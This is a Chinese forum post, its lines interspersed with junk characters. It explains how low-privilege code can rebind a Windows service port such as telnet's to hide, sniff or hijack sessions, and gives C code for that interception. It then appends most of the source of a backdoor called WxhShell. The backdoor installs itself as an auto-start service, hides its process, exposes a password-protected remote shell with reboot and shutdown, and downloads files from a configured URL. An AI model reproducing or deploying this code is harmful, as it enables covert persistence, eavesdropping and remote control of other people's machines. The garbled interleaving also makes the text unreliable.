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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Me yQ`%  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); uT8/xNB!  
i&-g 0  
  saddr.sin_family = AF_INET; n*CH,fih:  
ylLQKdcL  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 8/U=~*` _  
T.d+@ZV<#  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); vvv~n ]S6  
T2Z;)e$m_  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ]G1{@r)  
+Q If7=  
  这意味着什么?意味着可以进行如下的攻击: zAC   
9'o!9_j  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 b(_PCVC  
gZ%B9i:  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) vI{JBWE,S  
_2q4Aaza  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 *;Dd:D9  
1s-k=3)  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  x6* {@J&5*  
kCL)F\v"iT  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 T_\HU*\  
N)lzX X  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 $@FD01h.t3  
m/| >4~  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 (Z=ziopDE  
M]!R}<]{  
  #include as)2ny!u  
  #include {0q;:7Bt  
  #include  8;4vr@EV  
  #include    Pqo _ +fL+  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Op,Ce4A  
  int main() bENfEOf,  
  { =#&K\  
  WORD wVersionRequested; ?xGxr|+a  
  DWORD ret; &}nU#)IX  
  WSADATA wsaData; \OHsCG27  
  BOOL val; }.3F|H  
  SOCKADDR_IN saddr; _J}ce  
  SOCKADDR_IN scaddr; L=iaL[zdJ  
  int err; ve.iyr  
  SOCKET s; 8U/q3@EC  
  SOCKET sc; ^*`{W4e]  
  int caddsize; bEV 9l  
  HANDLE mt; Z 7t0=U  
  DWORD tid;   CCDoiTu!4  
  wVersionRequested = MAKEWORD( 2, 2 ); pL]C]HGv  
  err = WSAStartup( wVersionRequested, &wsaData ); C.C)&&|X  
  if ( err != 0 ) { H4 Ca+;  
  printf("error!WSAStartup failed!\n"); >^Klq`"?g=  
  return -1; a^ <  
  } ({yuwH?tH  
  saddr.sin_family = AF_INET; Cmm"K[>Rx  
   d;Z<")  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 >T%Jlj3ZG  
~cz] Rhq  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Dn) =V.  
  saddr.sin_port = htons(23); &9$0v"`H  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Ox8dnPcx  
  { B~cq T/\?  
  printf("error!socket failed!\n"); p.n]y=o.)  
  return -1; F:%= u =  
  } j2cLb  
  val = TRUE; <P'^olQ  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 df nmUE  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) hqnJ@N$yY  
  { =$}P'[V  
  printf("error!setsockopt failed!\n"); b=9(gZ 9  
  return -1; |VB}Kv  
  } }9R45h}{<  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; nZfTK>)A0  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 l$z[Vh^UU<  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Ms<^_\iPN  
7I/Sfmqy"O  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Bz_['7D  
  { 1.o-2:]E  
  ret=GetLastError(); s{NEP/QQJ  
  printf("error!bind failed!\n"); p)f OAr  
  return -1; >@[`,  
  } qBpv[m  
  listen(s,2); GD}3 r:wDs  
  while(1) i)1E[jc{p!  
  { Un]`Gd]:  
  caddsize = sizeof(scaddr); kWF4k  
  //接受连接请求 Hig=PG5I  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ;*:d)'A  
  if(sc!=INVALID_SOCKET) HW|c -\tS  
  { !aeL*`;  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); UG s <<  
  if(mt==NULL) I.fV_ H^  
  { ibl^A=  
  printf("Thread Creat Failed!\n"); }H?8~S =  
  break; HPCzh  
  } { Y|h;@j$  
  } oB-&ma[ZS  
  CloseHandle(mt); pco~Z{n  
  } Xl#vVyO  
  closesocket(s); [zm&}$nnN  
  WSACleanup(); %/oOM\} ++  
  return 0; t^Aios~F  
  }   Fla[YWS  
  DWORD WINAPI ClientThread(LPVOID lpParam)  / >Wh  
  { N;F1Z-9  
  SOCKET ss = (SOCKET)lpParam; -3qB,KT  
  SOCKET sc; J{@gp,&e  
  unsigned char buf[4096]; X;w1@4!  
  SOCKADDR_IN saddr; Sr)/ Mf  
  long num; ::dLOf8o  
  DWORD val; `-D6:- ,w  
  DWORD ret; ?#qA>:2,  
  //如果是隐藏端口应用的话,可以在此处加一些判断 V3$!`T}g4  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   G`R Ed-Z[  
  saddr.sin_family = AF_INET; Fh? ;,Z  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); $ e+@9LNK  
  saddr.sin_port = htons(23); "}\2zub9  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *GfGyOS(  
  { '<!/\Jz9l  
  printf("error!socket failed!\n"); V8NJ0fF  
  return -1; 76c4~IG#  
  } [p$b@og/>  
  val = 100; ,M>W)TSH  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) H'<9;bD -  
  { 3rZFN^  
  ret = GetLastError(); Fw+JhI VP  
  return -1; hAOXOj1  
  } +IuV8XT2(  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) k!xi (l<C  
  { zek\AQN  
  ret = GetLastError(); ,4NvD2Y  
  return -1; OZbwquF@  
  }  elWN-~  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) =oluw|TCe7  
  { A~ '2ki5$g  
  printf("error!socket connect failed!\n"); `kwyF27v]  
  closesocket(sc); *na7/ysT<  
  closesocket(ss); mppBc-#EYr  
  return -1; Ufv{6"sH  
  } xii*"n~  
  while(1) Q~,E K  
  { ^Xt9AM]e  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 !.+iA=K{  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 !#rZ eDmw  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Y">Q16(  
  num = recv(ss,buf,4096,0); D ,mFme  
  if(num>0) H$Q$3Q!`  
  send(sc,buf,num,0); Y5-X)f  
  else if(num==0) 'an{<82i  
  break; b/"gkFe#  
  num = recv(sc,buf,4096,0); kmy?`P10(z  
  if(num>0) GL@s~_;T6  
  send(ss,buf,num,0); K *{C:Y  
  else if(num==0) 3_fLaf A  
  break; cK(}B_D$  
  } IQGIU3O  
  closesocket(ss); [dk|lkj@u\  
  closesocket(sc); .W,< ]L '  
  return 0 ; A{>]M@QC2  
  } izY,t!  
f4/!iiS}r  
}.NR+:0  
========================================================== ^M,t`r{  
;1NZY.pyc  
下边附上一个代码,,WXhSHELL ppR_y  
r4J4|&ym  
========================================================== #E^%h  
pP{b!1  
#include "stdafx.h" e:AB!k^xp$  
xE9^4-Px*  
#include <stdio.h> FDbx"%A  
#include <string.h> $ ohwBv3S  
#include <windows.h> ^dZ,Itho  
#include <winsock2.h> g|"z'_  
#include <winsvc.h> ) OZDq]mV  
#include <urlmon.h> pJ+>qy5  
A7VF >{L./  
#pragma comment (lib, "Ws2_32.lib") T>g1! -^  
#pragma comment (lib, "urlmon.lib") %T}{rU~X  
 O5_[T43  
#define MAX_USER   100 // 最大客户端连接数 np=m ~k  
#define BUF_SOCK   200 // sock buffer ;y=w :r\A  
#define KEY_BUFF   255 // 输入 buffer Oq*a4_R'YV  
5Lu m$C c}  
#define REBOOT     0   // 重启 *%B%BJnX  
#define SHUTDOWN   1   // 关机 { zlq6z  
^nkwT~Bya  
#define DEF_PORT   5000 // 监听端口 mTZlrkT  
6jCg7Su]  
#define REG_LEN     16   // 注册表键长度 ;NRm ,  
#define SVC_LEN     80   // NT服务名长度 Jfo|/JQ  
)lB-D;3[_  
// 从dll定义API |g8 ]WFc  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); g\rujxHlH  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); PA`b~Ct  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); jd]MC*%  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); "N4c>2Q  
wLkHU"'   
// wxhshell配置信息 m$QFtrvy  
struct WSCFG { -W!g>^.  
  int ws_port;         // 监听端口 " 8;D^  
  char ws_passstr[REG_LEN]; // 口令 /Klwh1E  
  int ws_autoins;       // 安装标记, 1=yes 0=no js;IUSj.  
  char ws_regname[REG_LEN]; // 注册表键名 LFen!FnM  
  char ws_svcname[REG_LEN]; // 服务名 8'^eH1d'  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ~+l%}4RZ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 _[0Ugfz (  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 9nM {x?  
int ws_downexe;       // 下载执行标记, 1=yes 0=no "D3JdyO_S  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" S _ nTp)  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 A.35WGu&:  
 gxU(&  
}; (>WV)  
*eUL1m8Y  
// default Wxhshell configuration 86R}G/>>e  
struct WSCFG wscfg={DEF_PORT, q69a-5q  
    "xuhuanlingzhe", eZ}FKg%2[  
    1, LwY_6[Ef  
    "Wxhshell", m6lNZb]  
    "Wxhshell", JC>}(yQA  
            "WxhShell Service", 1;? L:A  
    "Wrsky Windows CmdShell Service", 'v6Rd )E\z  
    "Please Input Your Password: ", 6TfXz2D'J  
  1, E+E5`-V  
  "http://www.wrsky.com/wxhshell.exe", w\$b(HC  
  "Wxhshell.exe" t9 &O0tpe  
    }; %*eZoLD g]  
U> q&+:+  
// 消息定义模块 !ae@g q'  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; `e`4[I  
char *msg_ws_prompt="\n\r? for help\n\r#>"; -z'@Mh|i6l  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; vaTXu*   
char *msg_ws_ext="\n\rExit."; M$! 0ikh  
char *msg_ws_end="\n\rQuit."; \+cQiN b@  
char *msg_ws_boot="\n\rReboot..."; Ls|;gewp  
char *msg_ws_poff="\n\rShutdown..."; 35&&*$Jm  
char *msg_ws_down="\n\rSave to "; M{~eI  
>V;<K?5B`W  
char *msg_ws_err="\n\rErr!"; t{?_]2vl  
char *msg_ws_ok="\n\rOK!"; n>#h(  
+|#:*GZ  
char ExeFile[MAX_PATH]; [K"v)B'  
int nUser = 0; ^QYI`u`4  
HANDLE handles[MAX_USER]; /JveN8L%  
int OsIsNt; Y J1P5u:  
f3v/Y5)  
SERVICE_STATUS       serviceStatus; _fMooI)U1  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; jj.]R+.G  
ceZt%3=5  
// 函数声明 3`, m=1[)  
int Install(void); 'JkK0a2D  
int Uninstall(void); Ch7eUTq A@  
int DownloadFile(char *sURL, SOCKET wsh); AiO,zjM=  
int Boot(int flag); i"_f46r P  
void HideProc(void); b~#rUOXb8?  
int GetOsVer(void); [FC%_R&&  
int Wxhshell(SOCKET wsl); \[,7#  
void TalkWithClient(void *cs); oiFtPki  
int CmdShell(SOCKET sock); n`^</0  
int StartFromService(void); (TnYUyFP`  
int StartWxhshell(LPSTR lpCmdLine); v- {kPc=:#  
`P# h?tZ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); k] f 7 3r  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); OW #pBeX99  
'}!dRpx  
// 数据结构和表定义 vW]BOzK  
SERVICE_TABLE_ENTRY DispatchTable[] = ipU"|{NK  
{ D_, 2z  
{wscfg.ws_svcname, NTServiceMain}, #m8Oy|Y9`  
{NULL, NULL} .(`u'G=  
}; +A:}5{  
>!a*wf~]  
// 自我安装 K0+J!- a]7  
int Install(void) 8eLNKgc  
{ xX|-5cM;  
  char svExeFile[MAX_PATH]; Jwa2Y0  
  HKEY key; g$]9xn#_[  
  strcpy(svExeFile,ExeFile); VF[]E0=u6  
;{Ovqo|  
// 如果是win9x系统,修改注册表设为自启动 BF]b\/I  
if(!OsIsNt) { DtZkrj)D/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { pD &\Z~5T  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ue l*:c  
  RegCloseKey(key); xNm<` Y?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +'lfW{E1t  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); hwC3['  
  RegCloseKey(key); ~L}0) FZ\9  
  return 0; fx_7B (  
    } vWj|[| <rX  
  } ?[T&y ,ln  
} Z~]17{x0  
else { zL7+HY* 3o  
| @mZ]`p  
// 如果是NT以上系统,安装为系统服务 ap=M$9L'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);  =v8#@$  
if (schSCManager!=0) nE/T)[1|  
{ H"n"Q:Yp  
  SC_HANDLE schService = CreateService E%40u.0  
  ( {v2Q7ZO-  
  schSCManager, sRYFu%  
  wscfg.ws_svcname, K}a[~  
  wscfg.ws_svcdisp, l(<o,Uv[`  
  SERVICE_ALL_ACCESS, UY|nB hL  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , dc:|)bK M  
  SERVICE_AUTO_START, 8{h:z 9]J  
  SERVICE_ERROR_NORMAL, y~W6DL}  
  svExeFile, -4V1s;QUZ  
  NULL, _A%z^&k(i  
  NULL, /Wzic+v<>  
  NULL, SM@1<OCc  
  NULL, O(!wDnhc  
  NULL Os[^ch  
  ); .}z&$:U9[  
  if (schService!=0) 5[;p<GqGN  
  { JEBx|U$'Y  
  CloseServiceHandle(schService); ogQbST  
  CloseServiceHandle(schSCManager); B)Gm"bLCOZ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); thUs%F.5?  
  strcat(svExeFile,wscfg.ws_svcname); [81k4kU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 9]d$G$Kv9  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Kk#8r+ ,  
  RegCloseKey(key); BWQ (>Z"  
  return 0; *t*yozN  
    } Eb#0 -I  
  } *S<>_R 8  
  CloseServiceHandle(schSCManager); c%v%U &  
} /Nxy?g|,  
} qwVpGNc45  
;O.U-s  
return 1; ``zg |h  
} ,.F,]m=  
Gn&)*qCO  
// 自我卸载 <0Q`:'\.>  
int Uninstall(void) UT>\u  
{ O </<  
  HKEY key; 7@C :4c@0  
e;[/ytz"d'  
if(!OsIsNt) { ~KrzJp=5F  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6rPe\'n=B  
  RegDeleteValue(key,wscfg.ws_regname); /FB'  
  RegCloseKey(key); w~1K93/p!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { LN_6>u  
  RegDeleteValue(key,wscfg.ws_regname); dD!} P$  
  RegCloseKey(key); |\elM[G"g  
  return 0; wUl}x)xo  
  } 9jJ&QACn  
} x?f3XEA_  
} HO$s&}t  
else { 191O(H  
 ;m7$U  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ~|fd=E%  
if (schSCManager!=0) g.&&=T  
{ 0M:.Jhp  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); jh}[7M  
  if (schService!=0) 8[xb+_  
  { 8m-ryr)  
  if(DeleteService(schService)!=0) { + PGfQN  
  CloseServiceHandle(schService); lE%0ifu  
  CloseServiceHandle(schSCManager); 22(0Jb\_  
  return 0; \{abyi;  
  } g+)T\_#u  
  CloseServiceHandle(schService); 54tpR6%3p  
  } N}zQ)]xz+r  
  CloseServiceHandle(schSCManager); lq+FH&  
} '7wWdq  
} ,AACE7%l  
 ^d4#  
return 1; ;|}6\=(  
} |W{z,e01x  
$t[`}I }  
// 从指定url下载文件 ?][Mv`ST  
int DownloadFile(char *sURL, SOCKET wsh) Z]"ktb;+[  
{ `2Ff2D ^ ?  
  HRESULT hr; =yvyd0|35  
char seps[]= "/"; kG\+f>XQ  
char *token; eK4\v:oG1  
char *file; fWF\ V[  
char myURL[MAX_PATH]; Q9?/)&3Bu  
char myFILE[MAX_PATH]; a?&oOQd-iP  
jC<<S  
strcpy(myURL,sURL); glPOW  
  token=strtok(myURL,seps); ym<G.3%1  
  while(token!=NULL) Z2hRTJJ[A  
  { NDCZc_  
    file=token; Hza{"I*^  
  token=strtok(NULL,seps); i]xyD'0  
  } Exk[;lI  
 t\u0\l>  
GetCurrentDirectory(MAX_PATH,myFILE); lSl=6R  
strcat(myFILE, "\\"); > : \lDz  
strcat(myFILE, file); [%z~0\lu8  
  send(wsh,myFILE,strlen(myFILE),0); P\N$TYeH  
send(wsh,"...",3,0);  +'Tr>2V  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); JdFMSmZ@  
  if(hr==S_OK) u;;]S!:M  
return 0; ~Ui<y=d  
else g]z,*d  
return 1; vU&gFEWg  
 `q%Z/!}  
} M}3>5*!=  
H?UmHww E  
// 系统电源模块 vsHY;[  
int Boot(int flag) o#H"tYP  
{ EZE/~$`3   
  HANDLE hToken; w6v P a  
  TOKEN_PRIVILEGES tkp; RcMW%q$dG  
Y0aO/6  
  if(OsIsNt) { e{c%o;m(  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); jK3% \`o  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Bk~WHg>@G  
    tkp.PrivilegeCount = 1; ^|-xmUC  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ,W7\AY07]  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); X^r HugQ  
if(flag==REBOOT) { r9z/hm}E  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) jZ7#xRt5w  
  return 0; :C_\.pA  
} vgo-[^FiP$  
else { Gb~*[  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *A;~~ SQ  
  return 0; TV0(uMZ0+'  
} E(>RmPP=7  
  } oq(um:m  
  else { asmMl9)(`  
if(flag==REBOOT) { T6%*t#8r  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) D=o9+5Slw  
  return 0; eHm!  
} F=$2Gz 'RT  
else { ={YW*1Xw  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 9Clddjf?c  
  return 0; <eI7xifD  
} f-tjMa /_  
} %'%r.  
h 5t,5e}  
return 1; `lqMifD  
} <s)+V6 \E  
FsTE.PT  
// win9x进程隐藏模块 qun#z$  
void HideProc(void) $xa#+  
{ 7V%}U5  
CKmoC0.  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); MjQKcL4%7  
  if ( hKernel != NULL ) Vq -!1.v3  
  { rwv_ RN  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 2.Th29]  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); tB8XnO_c  
    FreeLibrary(hKernel); K q: +{'  
  } H&6lQ30/)  
_t 'Kj \  
return; #Kn=Q  
} E<>n0",  
(Lo<3a-]  
// 获取操作系统版本 Jou~>0,/j  
int GetOsVer(void) m .le' &  
{ 6Z\[{S];  
  OSVERSIONINFO winfo; $._p !,<  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ;.'2ZNt2  
  GetVersionEx(&winfo); v%VCFJ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) VSc;}LH  
  return 1; B=JeZMn  
  else `7LN?- T  
  return 0; 4?jXbC k~x  
} {~.h;'m  
i$?i1z*c}  
// 客户端句柄模块 XTXRC$B  
int Wxhshell(SOCKET wsl) q{[}*%  
{ ?r"m*fY%  
  SOCKET wsh; F'|D  
  struct sockaddr_in client; /Uz2.Ua=  
  DWORD myID; S/"-x{Gc2v  
,3qi]fFLMe  
  while(nUser<MAX_USER) 7ZI!$J|  
{ .zAB)rNc |  
  int nSize=sizeof(client); EXK~Zf|&Z  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); L ![bf5T  
  if(wsh==INVALID_SOCKET) return 1; X48Q{E+  
A?06fo,  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); l[fU0;A  
if(handles[nUser]==0) 1;i[H[hNY  
  closesocket(wsh); wBTnI>l9[  
else r%}wPN(?D  
  nUser++; #5-0R7\d7  
  } .\7R/cP}{A  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ~raRIh=  
ygW,4Vz7J  
  return 0; Mmq{]q~At  
} Ie`kzssM  
H^Ik FEVs  
// 关闭 socket =mxmJFA  
void CloseIt(SOCKET wsh) vq B)PL5)  
{ L0/0<d(K  
closesocket(wsh); s_y Y,Z:  
nUser--; }Gqx2 )H  
ExitThread(0); }b ~;x6  
} /lCn^E6-  
Ratg!l|'-  
// 客户端请求句柄 -5l74f!i  
void TalkWithClient(void *cs) m jC6(?V  
{ `r & IA  
M;ac U~J  
  SOCKET wsh=(SOCKET)cs; $cHA_$ `  
  char pwd[SVC_LEN]; r5xu#%hgp;  
  char cmd[KEY_BUFF]; ~9#\+[ d_  
char chr[1]; iqig~fjK ~  
int i,j; MR=>DcR  
zHw[`"[  
  while (nUser < MAX_USER) { #(FG+Bk  
+e. bO5Y  
if(wscfg.ws_passstr) { _fz-fG 1  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); M$dDExd~  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,YX[6eZr  
  //ZeroMemory(pwd,KEY_BUFF); N93 ZI|T  
      i=0; 44B)=p7  
  while(i<SVC_LEN) { ):E4qlB  
#>g]CRN  
  // 设置超时 7_)'Re#  
  fd_set FdRead; C S"2Sd 1`  
  struct timeval TimeOut; y+\nj3v6  
  FD_ZERO(&FdRead); d\WnuQR[  
  FD_SET(wsh,&FdRead); ZC'(^liAp  
  TimeOut.tv_sec=8; BaIH7JLZ8  
  TimeOut.tv_usec=0; sNZ{OD+  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); JeU|e$I4>  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); dWwh?{n  
^CX=<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !run3ip`Z  
  pwd=chr[0]; tJy6\~  
  if(chr[0]==0xd || chr[0]==0xa) { :jKD M  
  pwd=0; O+A/thI%*S  
  break; TXD\i Dq  
  } V4ml& D  
  i++; 6;i]v|M-  
    } 4<CHwIRHY  
'kPc`) \  
  // 如果是非法用户,关闭 socket {]]qd!,  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \^or l9  
} DfgqB3U[  
^5x\cR  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ZgVYC4=Q-\  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (Vnv"= (  
N '2Nv  
while(1) { pwU l&hwte  
fT9$0:eO  
  ZeroMemory(cmd,KEY_BUFF); #G%[4.$n.  
ORHs1/L`j  
      // 自动支持客户端 telnet标准   m~mw1r  
  j=0; 7KXc9:p+  
  while(j<KEY_BUFF) { {{w5F2b((%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); GY%lPp  
  cmd[j]=chr[0]; Z_Ffiw(p  
  if(chr[0]==0xa || chr[0]==0xd) { fw Ooi 'jb  
  cmd[j]=0; p3>p1tC  
  break; i;>Yx#  
  } U0G(  
  j++; wGD*25M7$  
    } b"n0Yk1  
H`|8x4  
  // 下载文件 kBg,U8|S  
  if(strstr(cmd,"http://")) { ]JF>a_2wG  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); O N..B} J  
  if(DownloadFile(cmd,wsh)) C&?Z\$ -/  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); KvW {M  
  else X<{kf-GP  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Lq<#  
  } Ib3n%AG  
  else { 1S .~Vh0Q,  
1\K%^<QY  
    switch(cmd[0]) { ]  }XsP  
  y5gTd_-  
  // 帮助 ^ur?da9z'  
  case '?': { <WhdQKFf-  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); .BP@1K  
    break; .&fG_(6|  
  } ErmlM#u  
  // 安装 ;zk& 7P0  
  case 'i': { =E?kxf[X  
    if(Install()) ~~,] b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (U bz@s^  
    else M,nX@8 _h  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X}x"+ #\<@  
    break; Ud@D%?A7  
    } ehe hTP  
  // 卸载 ~5S[Sl  
  case 'r': { 03Czx`  
    if(Uninstall()) eU/o I}A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,`kag~bZ  
    else =Ts2a"n  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8[@aX;I  
    break; t+7|/GLs2  
    } IL*Ghq{/  
  // 显示 wxhshell 所在路径 .=@xTJh  
  case 'p': { |hHj7X <?k  
    char svExeFile[MAX_PATH]; !7)` g i  
    strcpy(svExeFile,"\n\r"); !C ]5_  
      strcat(svExeFile,ExeFile); x -CTMKX  
        send(wsh,svExeFile,strlen(svExeFile),0); fL-lx-~  
    break; S~L;oX?(!  
    } v__n>*x  
  // 重启 3azyqpwU$  
  case 'b': { |qe[`x; %  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); G':wJ7[]`  
    if(Boot(REBOOT)) lRb|GS.h/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "&!7wH ,A  
    else { /Mq9~oC  
    closesocket(wsh); 02+ k,xFb  
    ExitThread(0); UYOveQ;  
    } vZhC_G+tGd  
    break; Bgw=((p  
